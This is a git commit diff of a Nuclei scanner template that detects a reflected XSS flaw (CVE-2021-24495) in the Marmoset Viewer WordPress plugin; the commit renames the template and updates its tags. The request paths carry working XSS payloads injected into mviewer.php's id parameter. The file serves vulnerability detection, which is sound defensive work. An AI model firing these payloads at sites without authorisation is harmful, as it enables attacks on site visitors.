Template Name/ID update as per assigned CVE
parent
fd13654972
commit
fc68a95803
|
@ -1,10 +1,10 @@
|
|||
id: wp-plugin-marmoset-viewer-xss
|
||||
id: CVE-2021-24495
|
||||
|
||||
info:
|
||||
name: Wordpress Plugin Marmoset Viewer XSS [CVE-2021-24495]
|
||||
name: Wordpress Plugin Marmoset Viewer XSS
|
||||
author: johnjhacking
|
||||
severity: medium
|
||||
tags: wordpress,xss
|
||||
tags: cve,cve2021,wp-plugin,wordpress,xss
|
||||
reference: https://wordpress.org/plugins/marmoset-viewer/#developers
|
||||
|
||||
requests:
|
||||
|
@ -12,6 +12,7 @@ requests:
|
|||
path:
|
||||
- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
|
||||
- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
Loading…
Reference in New Issue